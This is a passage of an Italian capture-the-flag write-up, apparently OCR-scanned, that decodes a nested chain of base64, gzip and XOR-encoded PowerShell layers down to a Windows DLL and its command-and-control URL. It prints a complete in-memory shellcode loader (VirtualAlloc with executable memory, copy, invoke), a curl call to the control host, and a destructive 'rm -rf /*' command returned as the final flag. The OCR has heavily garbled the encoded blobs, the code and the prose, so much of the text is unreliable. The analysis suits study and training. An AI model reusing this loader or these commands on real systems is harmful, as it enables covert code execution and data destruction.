EgXOV+ubrib5tSb8cjel+oWbagayb0olsP4duUblG8UuayQvIYLEMdOgGud+o06BfcakEvVOm
bhvhIsE3F65DfbXfqZzluHxb+TknIRPYW3fK+AVMK3Ijc/yFCMDOM/ROotkZuDDcARA=="")
) ; IEX (New-Object IO.StreamReader (New-Object
TIO0.Compression.GzipStream($s, [I0.Compression.CompressionMode] : : Decompr
ess))) .ReadToEnd() ;

Quanto appare da questa prima decodifica rivela:

e Chessi tratta di un altro script powershell al cui interno troviamo la prima flag: $flag="hi
from there"

e che e presente un altro payload ancora base64-encoded:
[Convert] : :FromBase64String ("H4sTAAAAAAAAA ..

e che oltre alla codifica in base64 e presente anche una compressione con algoritmo gzip:
I0.Compression.GzipStream($s, [IO.Compression.CompressionMode]
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Quello che dobbiamo fare é:

e decodificare ancora una volta il payload, via base64
e decomprimere il risultato

Quindi, ancora una volta, usiamo echo per mandare in pipe verso base64 -d il nuovo payload, ed infine
ancora in pipe verso gzip -d per decomprimerlo

echo

H4sIAAAAAAAAA+1b6W/iyBL/PPkr/CESoJDE4EBgnkZaDgM22ICvANko8tGASbGND7DZ3f
/9VTEHZGYy7807pNnVEqQnkPqrr+FV1uVHCcMopv5Ti0zViwLUTdaiiMbN+5y1dX13NXX1CE
KKYC7bbPxdD+JXclTzwzxiy48bpA8WsQ+uarblkhiiLgqt6sPIz3Ul1T+equHr2viS1xUpE
gHMyIrCVHhw4erD2Qo8SJ9j149Pbal36HWN4gVvRaAo/9wIgra/1lm3v5ePHVhKGyIsP/bsu
1htRhNaGabMoX6B+p56WKES3020FzJj6jbptveubvgG7/R7aspZtLcK7hWXhu4Js69uBOD1
w7zud+/TVXeL4tvdyxmOR303x0zqlYre8s180VgD8KWKGSBS1fE2wz9CN/Ht892R5Tv10Jd
9SIxXjjY¥niscPVsEOvixfSex1MOafA6aIl8CmccAwV6Sesb7nlxfgql7/M1UuLF9hrdcVeMQ]
+QUb11TRTA9XTPcpGESrAsFOEoVUWUAEAEKESC] zrZAuu2voPyl1l7iukwo+/yicl/yItqgd
wP3RRfm31i4BrFIeF4JEnfgQ0geTNQRy48431b5KrAH/ £JFjh60o+rdlLVQi5a6DF6JQHENT
169eHDM2ki8Cc/810brPtEOUVKACPO2A8ZzHE41TFDh5XN8DmpPK6P1idwiWVTquOaw7h0djx
IXrWENt6ufpQubDpmDx5/NRLbtVCI57+/G9pobnuonXn62jZPCZ9/1.2Z2071KCx92JTQQ787
njBLLaR3RyGNDnbbexazs+r20ejGuYEPcIrIKUKHxpzCGG+RznCWgN+B36kKbXc9hmoMR9
3FrZSTvud4lxuuXoUFalRAvvcLFIy01l1kFamGFI9nHqUYS+6SZ+2yukLixbepREBL3UngHOg
Pglu/Bjk1MiC7A0MgBMmM3dxagUgZ5toWYm24uTChbl3MWnprgtbDiRtISYwgrGQY5S5wzoVX8
03 8KdzKKuXXgojVwkyrUgSoLNeedo001i66Qtk5f6F2ad9ctgUGKsTSG+MhgSQXT8uUpodxl
DXcsVvEU9/M+/LEvOFma0QHQOZIxvxuZnFeLsQThO/aD6dsSTIhTGglgn9dVOPUPVBImMUs
nz089Z27LGisuEzygFSPuVlwlwnlCO0+PzR61KNNRtLAMrNwuTRhDZxs1Dy6LjvtoQFVVNWV
X1hw262VLUkgDtxKa0ECXNodsy0Kyc7hpORZDogTiwH4LMWbZYRtMEFZbBWN1 zulwxs66T
TPQJ33dX7LG/mYxSmH+UNkplusfzcTfg3Z2UA81YqO80BWE+u7ed+ZgsrI+M8rmawzmT3ea
4GNOZ8zqYrXGbiscoZnz2Hn3vcbhzHhGOfk4UVL591uGO0t fGTP/dZwHm64vbCgQ4yCJIHS
/de2Ri114Dnd4oJgxQSmw2sH27j/zCebwmv7/417640kdx4gtuSzZ7x0fhrvsMPRAuiglotije
Zwe/kzT8IfvhMvQu3TmkyoChjriMwzmGfwjm04nx92JUly6sK4Jaw6x91f4kVs+XpdGRP7
X+N20b8ZMbqg/r7ZH/epy3a8G6/KNtGbI3MiZxTXCk7U2vhHfLB7s/gaevhXXppZdHwubJf
CrK666TMrVtsltggRcWOU3wuzmYXi/ fbz5kgzNCo5AtRAHUSW/ OoWTmx/vs8d5kxGxRybYO
9Eldz+oPoHedfsgyz4E6x1UryZ7pJ5Yfp7Is8hzterlMwINZyV19yelhrL4rj2A/CEFViNe
gjsgcrfeOegqeIN0Gdzlero6vgb6ekPwRcyY9rQNe3YvP4kDUrPoiNQWWR7C8bOewvwAz2 /W
xhx0nnlYPNY15ib4vGcGpriotbk9rI1vNnE4R+BLEMzv54yYAt+jYsa7cpPYtSzTTM8UVx
Hhn8XiHnSsiI7ud4wjz4f0sgE8wzpDxr3DE+JmA+QDixFSbiMnd4CWcullk9tECvwRGsVt15
wm65m+/gL9TuK11j0nghlvRXsYY5g+QFzKVZ7TAXRae5EVKHOEwxdjgGm8o6ZUamuBSwX5
SZ5MkEZG1239MSavV01i8iE+gBeD8bKx/wLiZKiDpeky64WgG+KDsc9im8TSAX17FuOwP8bA
8DuPBlcytbueYZijWEavagvu8xrHDtdEzZIQ8GBG/IZcConIkTfojtIHV3XLWztRLvTaaP8R
MnI72JaHgOVMgluQ9xJLH3Ggc414+6YH+UCLaNn79nL/QnJ3HQgH21jSHngg6cf4Zt3Hd2
0K/Q0B9tcf8e92ud4Lywb8D4Xx/De3kVN6FsN+a28UTf107VDmMIRGc1 6x8PufMT+£fNOiNmu fvNPZObcV6U1XNIJENB]ZAMaix00vapvZYBckwaRX
ImMWmv5hsWoMSm4dzsx1Z1xCVjY1leCcx0OcQ7gdh54WiXhNj9s205tW3Yf2Pbdt+Xx1Ydeqgd
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fcWQ+I5atoMiB3TFxD+11LNNiM466Y3M13galDzNKgFsmcNjNK4wdv7/Mrtd7sxec2cKkYX9
NIx0Jjv10Xixe2pLQrvEFSHIFtQSt02gbE7PdGANytyEyKtRZgBWTdnMssumirULRYJecyO
78tkIHNLOQOHaglnNISB92Jpi9BF+jhOdAlVxawlL0eDNcZ41lw41llL+1lgajCasxZ5tpuRNmil
cac7s1XPULS3SWuutFDZ0hOaQBUol2yTShWFCXyOW2HHKh8gb1B7KkWaDL9VZUbebIcTs7
4JXZ0F2q8mHVbR6jVLcml Zbksrsx5qfH+SEt8tNRrySjx1Rvr 60TR15Gq0w++HWV142tX3
ZaNjtDIG12GRn5707Bn+rSzuzChpmYIB8gDDfshaoA+/x8yeNhCMp8302pdxzB/7C4dLWi
Df6KKbZi0r7XFchlAzJd1lIxzLLiWpHaglss6WMSw2FfVitxeHTYgLxHNM26/bP3QcXutCF
LnShC130Qhe60IUUdKELXehCF7rQD105LoxZf7QvBZH1 8mm3HIWR7¢c4Q41YMdrk21p3GT7
fxrOwnfJkgRESdAVTrNhi6JrQ7jSiNmggmlYPzTbfyLkgqrN8P/eRmyTFSU37v5sey500RPh
/0uQ/20/CkgSDgfs fUPZSSOFzRxZTLk6u4hkNuOP2ECV6+mgz8aqg3F+yelahdTPtVEj559
p/0b8J7T59%usKfb8/9kMpfp/iSwz80eN66MXX+QPuubSdejMdvbgr4osR55vk6fT1dbDn3
b40UpDEV/LE3mdngbz7x/t5tEUEP0o6Xuvnz82EXn7/U7ftg53tsY+TZekc+/ £9XIQaGHXK
aML+gcvndvuK5v4psm37ny8Uv++XAb5aVIPavQZMrvtgrUmbFOKBx8MpL5nNzGOHp4upRy
Yvz4cQbuFd+AOEDeI14WKTpladrGzwe6cPXjsLT8IMUfxRXxbZ2Q31rzV5BINhSP6YeKt0f
8xAF80/ffQYvDIhZYzdMSg9/EgXOV+ubri5tSb8cjel+oWbagayb0olsP4dulblG8UuayQ
vIYLFMdOgGud+o06BfcaEvVOmbhvhIsE3F6jDfbXfgqZluHxb+TknIRPYW3fK+AVMK3Ijc/y
FCMDOM/ROotkZuDDcAAA== | base64 -d | gzip -d

L'output di questo comando é:

Set-StrictMode -Version 2

S$flag = 35

$Dolt = @'

function func get proc address {

Param (Svar_module, $var_procedure)

$var unsafe native methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object ({
$ .GlobalAssemblyCache -And $ .Location.Split('\\')[-1].Equals('System.dll")
}) .GetType ('Microsoft.Win32.UnsafeNativeMethods"')

$var gpa = $var unsafe native methods.GetMethod ('GetProcAddress', [Typel[]]
@('System.Runtime.InteropServices.HandleRef', 'string'))

return $var gpa.Invoke (Snull, @([System.Runtime.InteropServices.HandleRef] (New-Object
System.Runtime.InteropServices.HandleRef ( (New-Object IntPtr),
(Svar unsafe native methods.GetMethod ('GetModuleHandle')) .Invoke ($Snull, @ (Svar module)))),
$var procedure))

}

function func_get delegate type {

Param (
[Parameter (Position = 0, Mandatory = $True)] [Typel[]] S$var parameters,
[Parameter (Position = 1)] [Type] $var return type = [Void]

)

S$var type builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly ((New-Object

System.Reflection.AssemblyName ('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run) .DefineDynamicModule ('InMemoryModule',
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Sfalse) .DefineType ('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',
[System.MulticastDelegate])

$var type builder.DefineConstructor ('RTSpecialName, HideBySig, Public',
[System.Reflection.CallingConventions]::Standard,
$var_parameters).SetImplementationFlags('Runtime, Managed')

Svar type builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual',
Svar return type, $var parameters).SetImplementationFlags ('Runtime, Managed')

return $var type builder.CreateType ()

[Byte[]]Svar code =

[System.Convert]::FromBase64String ('bnmzIyAjIyMnIyMj3NwjI5sjIyMjIyMjYyMjIyMjIyMjIyMjIyMjIyMjIyMjI
yMTyM3 TyMj TyMjIyMj6yMjIy08mS051lyruApsib+4Cd0tKUANTUUXEUUJOAOBCTUIMVWNBRGNRVKODSkODZ2xwAQSMROYNT 1
4pByMjIyMjIyN2eyXEMhpLlzIaS5cyGkuXaXJK1jEaS5cyGkgXPxpLl7RgT5YzGkuXtGpJljMaS5dxSkBLMhpLlyMjIyMjIyM
JIyMjIyMjIyNzZiMjbyInI8bEkXwjIyMjIyMjI8MjIQIoIi05IycjIyM5IyMIjIyMjYzIjIyMzIyMjAyM)IyMiMyMzIyMjISM]
JSMIIyMjIyM1ITyMjIyMjIyNDIyMjJyMjIyMjIyEJYyYjIzMjIzMjIyMjMyMjMyMjIyMjIzMjIyMjIyMjIyMjIysCIyMLIyMjT
yMITyMjTIyMjIyMjIyMjIyMjIyMjIyMjI3M]jIxc])IyMbAyMjPyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjTly
MjIyMjIyMjAyMjGyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwlXR1ItXIyMjRiEjIyMzIyMjJyMjIycjIyMjIyMjIyMjIyM
3 IwMjIOMNUUACVOIFIOMhIyMjAyMjIyciIyMrIyMjIyMijIyMjIyMjIyNjIyNjDUACVOISIyM6MSM]IxM]IyM3TyMjLyM]IyM]
IyMjIyMjIyMjYyMj4wlRRkOMQOCMIFyMjIyNzIyMjISM)IwMjIyMjIyMjIyMjIyMjI2MIjI2EjIyMjIyMjIyMjIyMjIyMjIyMIT
yMj TyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjTy
MITIyMjIyMIIyMjIyMjIyMIIyMjIyMjIyMIIyMjIyMjIyMIIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM
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sd1JIxG2pQe01Ze315bEhmbhFATyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM]IyM]j
IyMjIyMIIyMjIyMiIyMjIyMjIyMIIyMjIyMiIyMjIyMjIyMjIyMjIyMIIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI
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JIyMjIyMjIyMjIyMjIyM)IyMjIyMjIyM)IyMjIyMjIyM)IyM]jIyMjIyM)IyMjIyMjIyMjIyMjIyMjIyMjIyM]jIyM]jIyMjIyM])
IyMjIyMIIyMjIyMiIyMyjIyMjIyMIIyMjIyMiIyMjIyMjIyMyjIyMjIyMIIyMjIyMiIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI
yMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjTy
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yMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjTly
MIjIyMIIyMjIyMjIyMIIyMjIyMjIyMIjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM
JIyMjIyMjIyMjIyMjIyM)IyMjIyMjIyM)IyMjIyMjIyM)IyM]jIyMjIyM)IyMjIyMjIyMjIyMjIyMjIyMjIyM]jIyMjIyMjIyM])
IyMjIyMIIyMjIyMjIyMjIyMjIyMIIyMjIyMIIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMiM
yMjFyMjI7MTuxOYE/ATWRPTEykSNxI9EgsSEXKLEPpUS9XLKEtUSKhEZETORCXF5ESMI IyMj IyMj IyMjIyMjIyMjIyMiIyMiTy
MIjIyMIIyMjIyMjIyMIIyMjIyMjIyMIIyMjIyMjIyMIIyMjIyMjIyMIIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM
JIyMjIyMjIyMjIyMjIyM)IyMjIyMjIyM)IyM]jIyMjIyM)IyM]jIyMjIyM)IyMjIyMjIyM)IyMjIyMjIyMjIyM]jIyMjIyMjIyM]
IyMjIyMjIyMjIyMjIyMjIyMjIyMIIyMjIyMjIyMjIyMjIyMjIyMjIyMIIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjT
yMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjTly
MIjIyMIIyMjIyMjIyMIIyMjIyMjIyMIjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM
JIyMjIyMjIyMjIyMjIyM)IyMjIyMjIyM)IyM]jIyMjIyM)IyM]jIyMjIyM)IyMjIyMjIyMjIyMjIyMjIyMjIyM]jIyM]jIyMjIyM])
Tw==
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for ($x = 0; $x -1t $var code.Count; S$x++) {

Svar code[$x] = S$var code[$x] -bxor 35

Svar_va =
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer ((func get proc address
kernel32.dll VirtualAlloc), (func get delegate type @ ([IntPtr], [UInt32], [UInt32], [UInt32])
([IntPtr])))

Svar buffer = $var va.Invoke ([IntPtr]::Zero, $var code.Length, 0x3000, 0x40)

[System.Runtime.InteropServices.Marshal]::Copy($var code, 0, $var buffer, $var code.length)

Svar runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer ($var buffer,
(func _get delegate type @ ([IntPtr]) ([Void])))

Svar runme.Invoke ([IntPtr]::Zero)

'@

If ([IntPtr]::size -eq 8) {

start-job { param($a) IEX $a } -RunAs32 -Argument $DolIt | wait-job | Receive-Job

else {

IEX $Dolt

Quello che possiamo notare e che:

e Ancora una volta abbiamo a che fare con uno script powershell, che al suo interno contiene un
ulteriore payload, ancora una volta base64-encoded

e llnuovoflage35:$flag = 35

e |l payload e stato ulteriormente codificato attraverso una XOR bitwise proprio utilizzando il
numero 35:

for ($x = 0; $x -1t Svar code.Count; S$x++) {
$var code[$x] = S$var code[$x] -bxor 35
}
e che la struttura del payload appare avere una certa regolarita

Cio che dovremmo fare, a questo punto, sara:

e ancora una volta decodificare il nuovo payload sempre attraverso il base64;
e invertire la codifica effettuata attraverso lo XOR con 35 dei bit, riapplicando nuovamente lo XOR
35



Per aiutarci nell’ultimo passaggio, ossia |'applicazione dell’operazione di bitwise XOR, si puo usare un
piccolo script in python, che abbiamo chiamato xor.py come il seguente, ad esempio:

import sys
def xor string(message, key):
list temp = bytearray (message)
for x in range(len(list temp)) :
list temp([x] = (list temp[x] " key)

return list temp

data = sys.stdin.read()

print (bytes (xor string(data, 35)))

Possiamo dare allora il seguente comando:

echo

bnmzIyAjIyMnIyMij3NwjI5sjIyMjIyMjYyMjIyMjIyMjIyMjIyMjIyMjIyMIjIyMjIyMiTly
M3 IyMjIyMi6yMjIy08mS0jlyrurpsib+4Cd0tKUANTUUXEUUJOAOBCTUIMVWNBRGNRVKOD
Sk0DZ2xwAOSMROYNLi14pByMjIyMjIyN2eyXEMhpLlzTaS5cyGkuXaXJK1ljEaS5cyGkgXPx
PL17RgT5YzGkuXtGpJdljMasSbdxSkBLMhpLlyMjIyMjIyMjIyMjIyMjIyNzZiMjbyInI8bE
kXwjIyMjIyMjI8MjIQIoIli05IyciIyMSIyMjIyMjYzIjIyMzIyMjAyMjIyMjMyMzIyMjIS
MjJISMjIyMjIyM1IyMjIyMjIyNDIyMjJyMjIyMjIyEjYyYjIzMjIzMjIyMjMyMjMyM]jIyM]
IzMjIyMjIyMjIyMjIysCIyMLIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI3MjIxcjly
MbAYyMjPyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjAyM]
GyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMiIyMjIwlXRItXIyMjRiEjIyMzIyMjdyMjlycily
M3 IyMjIyM3IyMjIwMjIOMNUUACVOI]IOMhIyMiAYM]IycesIyMrIyMjIyMjIyM]IyMiIyN]
IyNjDUACVOI§IyM6MSMIIxM]IyM3IyMjLyM]IyMiIyMjIyMIIyMjYyMj4wlRRkOMOCMIFy
MjIyNzIyMjISMIIwMjIyMjIyMjIyMjIyMjI2MjI2EjIyMjIyMjIyMjIyMjIyMjIyMyjIyM]
IyMjIyMIIyMjIyMjIyMjIyMjIyMjIyMjIyMiIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjly
MIIyMjIyMjIyMjIyMjIyMjIyMjIyMiIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM]
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjly
MIIyMjIyMjIyMjIyMjIyMjIyMjIyMijIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM]
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjly
MIIyMjIyMjIyMjIyMjIyMjIyMjIyMiIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM]
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjly
MIIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI3aoz6DPKehmKéepm2+Rm3yMjIyPkZt8]IyM]j
yCgobt+g4iKgbt+odt8Ydi9QMghm2+UjI6hu26DiIgpu28)9gqMZ+40/vT7+/vi+/vT+/vT+
/vdgjPos8HICM]SWeuZotzy7/c3NygbyvkZotnIyMjy94jIyOmdyynkiMjI65uz3Kudotx
SSNJIOInSSJJI0kjSyOhIzNJIIOw2PwMjM6bjLKerIyMj5Kb/39zcICMiIo6om/9/c3HOobt
Ny3DYDAyMzSWNLIzMjI0sjMyMjSSOods9x3DYLAyMzgmbfSSNLIzMjI0sjEyMzgGbfcbhu
z3LcNg8DIzOodt+gtrfe3Nyupv/f3NxzgG7Tctw2BwMIM6h203HcNjsDIz0oZtNz3DY Ay
MzgG7Pctw2IwMIMOkj3DY3AyMzgMZ+40/v7+/v7+/vdgjPcghmLepm36Be3yIXIcgmy9rd
3NybIiMJI6jGfuEvI+/v7+/v7+/v7+/v7+/vdqgjPoM8/5GbXIiMjI+RmOyMjIyPkZt8)Iy
M3j5GbbIyMjI+Rmxy8jIyPkZssjIyM]j5GbPIiMjI0s]jYyMzSSIJJIgbmx3PcNhMDIzOgZt+g
Xt8jViHIVuRmlyMjIyNJI6hu33LcNisDIzMeISIjI1lYhyHrkZtMiIyMjSytiIzNJIksjIz
Ej3DYzAyMzgmbboF7bIlcvgHbbcdw2IwMiM8gISytiTIzNJTIkkirmbHcOw2LwMiM6pm26Be
2yNXJORmlyIjIyMO6iymTtzc3KBe3yNXPaBeOyNXLUk]SSKodt9x3DYnAyMzgGbfcOw2Iw




MiM6ehml6jGfuAJIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM]jIyM]
IyMjIyMIjIyMjIyMjIyMjIyMjIyMjIyMjIyMiIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjly
MITIyMjIyMjIyMjIyMjIyMjIyMjIyMiIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM]
IyMjIyMIIyMjIyMjIyMyjIyMjIyMjIyMjIyMiIyMjIyMjIyMIIyMjIyMjIyMjIyMjIyMjly
MIIyMjIyMjIyMIjIyMjIyMjIyMjIyMiIyMjIyMjIyMIIyMjIyMjIyMjIyMjIyMjIyMjIyM]
IyMjIyMIIyMjIyMjIyMIjIyMjIyMjIyMjIyMiIyMjIyMjIyMIIyMjIyMjIyMIIyMjIyMjly
MIIyMjIyMjIyMIjIyMjIyMjIyMjIyMiIyMjIyMjIyMIIyMjIyMjIyMjIyMjIyMjIyMjIyM]
IyMjIyMIIyMjIyMjIyMyjIyMjIyMjIyMjIyMiIyMjIyMjIyMIIyMjIyMjIyMIjIyMjIyMjly
NLAiMjVQIJjI6kCIYODAIMikwIjI50CIyPvAiMy/wIjI80CIyMhASMINQE]IwsBIyMdASM]
IyMjIyMjIyPGxJF8IyMjIy4jIyOXIyMjdwMjI3crIyMjIyMjIzMjIOYhIyMNVOZbVwdOTS
M3 IyMjAyMIGyMjIwlKROJIXQgcWIyMjIxsDIyM/IyMjDVFHQ1dCIyN3AyMj1lyMjIwlRROJIX
QgdZWV1HQUQJ IyMrAiMjNyMjIwlKROJIXQgcRIyM]j Iz8CIyM3IyMjDUpHQLACBxASIyMjEw
I9IxsjIyMNSkdCVOIHFyMjIyNLAiMI2yMjIwlKROIXQgcVIyMiIyMTIyM6MSM]DUACVOI]
IyMTAIiMFIyMjIyMjIyNxASM)IwMjIyMjIyMjIyMjIyMjIyMjIyMjIyMiSwIjI1UCIyOpAi
MjgwIjI5SMCIyOdAiMi7wIjI/8CIyPNAIMiIQE]IzUBIYMLASMIHQE]IyM]IyOlI2BPTFRG
a0JNRO9GI5cncUZPRkIQRNBGTkJITSOxRRiMJ9CZ0QkpXZUXxRCEPNREIGObEFJRkBXIS58]YFE
FGQ1dGZ1VGTVdiIyMjJ2xTRKkImVUZNV2IjI3wiZ1tKV3dLUUZCRyM]7idxRIBWTkZ3S1FG
QkcjI8MIYFFGQ1dGCclFMQEZQUGIJI9QhZEZXdOtRRkJHYEXNVOZbVyMjdyZwR1d3S1FGQk
dgTE1XR1tXIyPkInVKUVAWQkIiTOIMQGZbIyM4JXRRS1dGCc1FMQEZQUGS5GTkxRWiMjyiNg
UUZCVO0ZwRk5CUOtMUUZ1IyNoZnFtZm8QEQIHT08 IyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MIJIyMjIyMIIyMjIyMjIyMIIyMjIyMjIyMIIyMjIyMjIyMIIyMjIyMjIyMjIyMjIyM]jIyM]
IyMIIyMjIyMjIyMIIyMjIyMjIyMIjIyMjIyMjIyMIjIyMjIyMjIyMjIyMjIyMjIyMjIyMjTIy
MIIyMjIyMjIyMjIyMjIyMjIyMjIyMiIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM]
IyMjIyMIIyMjIyMjIyMjIyMjIyMjIyMjIyMiIyMjIyMjIyMIjIyMjIyMjIyMjIyMjIyMjly
MIIyMjIyMjIyMjIyMjIyMjIyMjIyMiIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM]
IyMjIyMIIyMjIyMjIyMjIyMjIyMjIyMjIyMiIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjly
MIIyMjIyMjIyMjIyMjIyMjIyMjIyMiIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM]
IyMjIyMjIyMiIyMjIyMIIyMjIyMjIyMjIyMj38usIyMjQ6rGEVFHGQHETQHEVGHE3LIJRPBR
LcgFELEUOPHOJEIQ8D4uwuluRgVsxxgHEZgGEfIvNOgGNbpuNXbyLzgGs7gHsDecyLwpupX
H20S3KgXgCL1EuP1i7C6PIuQbwlbXIF7bGF4HVsN7/gHsHIVBFgC90ogHs/IvCoJ6gi86pnBw
d4eEJ6eXLcw3t8eagxygPc3Nx+S01GVYNLVEPNSndLb1QFJINz2EvhwcHBwcMsdIyMjbkxZ
Sk9PQgwWDRMDC3RKTUAMVFADbXcDFQOSGAN3UUpHRk1XDBONExgDUVUZEhINEwoDTOpIRg
NkRkBITCNLGXVahNz2cHBJIHBwWS5giIyPLmyM]jIwxORnNnxGVUpPfEAGVUpPDBsVYEVQEFGZ1
UndTU1BOVIRgUEI1IWeXJXR21icO0JTT3poaG5EQUIrT1lp8WlsVSyNzS3SgvOXc9grlcEsjIU
uncHBwdHB1S8h2DRjc9rVIKXxwcHBwdUsOJTtY3Pam41Y3S6swIyNLZOMWwIz2bFbCy3E]
IyNJY0sIMyMjSyMjYyNwS3uHcMbc9rBwcKrEdEsjAyMjcHVLMbWawdz 2puNX7KgkIuCm4 1
bGe+B8y1lzc3Nx0OQ1dRSkxQSEINUFRCUEBCTQIATE4 JmNOWgXVJII3Dc9iMjIyMjIyMjIyM]
IyM3IyMjIyMjIyMjIyMjIyMjIyMjIyMjTIyMyIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM]Ty
M3jIyMjIyMjIyMjIyMjIyMjIyM]yIyMjIyMjIyMjIyMjIyM3IyMjIyMjIyMjIyM)IyMjIyM]j
IyM3IyMjIyMjIyMjIyMjIyMjIyMjIyMjTIyMyIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM]Ty
MjTyMjIyMjIyMjIyMjIyMjIyM]IyMjIyM]jIyMjIyM]IyM3IyMjIyMjIyM]jIyM)IyM]IyM]
TyM3TyMjIyMjIyMjIyMjIyMjIyMjTIyMjTIyMyIyMjTIyMjIyMjTIyMjIyMjIyMjIyMjTIyM]Ty
MjIyMjIyMjIyMjIyMjIyMjIyM]IyMjIyM]jIyMjTIyM]IyM3IyMjIyMjIyM]jIyM3IyM]IyM]
TyM3IyMjIyMjIyMjIyMjIyMjIyMjTIyMjTIyMyIyMjIyMjTIyMjIyMjIyMjIyMjIyMjTIyM]Ty
MjIyMjIyMjIyMjIyMjIyMjIyM]IyMjIyM]jIyMjIyM]IyM3IyMjIyMjIyM]jIyM3IyM]IyM]j
TyM3TyMjIyMjIyMjIyMjIyMjIyMjIyMjTIyMyIyMjIyMjIyMjTIyMjIyMjIyMjIyMjTIyM]Ty
MjIyMjIyMjIyMjIyMjIyMjIyM]IyMjIyM]jIyMjTIyM]IyM3IyMjIyMjIyM]jIyM3IyM]IyM]j
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjTy
MjIyMjIyMjIyMjIyMjIyMjIyM]jIyMjIyMjIyMjIyM]jIyM3IyMjIyMjIyMjIyM)IyMjIyM]j
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM]Ty
MjIyMjIyMjIyMjIyMjIyMjIyM]IyMjIyMjIyMjIyM]jIyMjIyMjIyMjIyMjIyM)IyM]jIyM]j
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM]jTy
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MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM]jIyM]IyM]IyMjIyMjIyM]
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| python xor.py > matrioska final

Il contenuto finale si trovera ora, dunque, all'interno del file matrioska final

Non si tratta piu di uno script, evidentemente. Andandolo ad analizzare col comando file, otteniamo
infatti:

matrioska final: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Andiamo a vedere se al suo interno esistono delle stringhe che in qualche modo possono tornarci utili:

strings matrioska final

/me_evil devil/86Cfs7EAQTpgsWuwCsnuZQtdNAPaplYKKMgbaHmy xx6h
SSSWSVh

SSSSVh-
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Riusciamo a identificare in effetti le tracce di una possibile URL, con un possibile
. hostname matrioska.swascan.com

e ed un possibile percorso
/me_evil devil/86Cfs7EAqQTpgsWuwCsnuZQtdNAPaplYKKMgbaHmy xx6h

Col comando cURL,

curl http://matrioska.swascan.com/me evil devil/86Cfs7EAqTpgsWuwCsnuZQtdNAPaplYKKMgbaHmy xx6h

otteniamo infine I'ultima flag:

{“last_flag”:”COmmand_and_COntrol_here”, “command”:”rm -rf /*”}


http://matrioska.swascan.com/me_evil_devil/86Cfs7EAqTpqsWuwCsnuZQtdNAPaplYKKMgbaHmy_xx6h

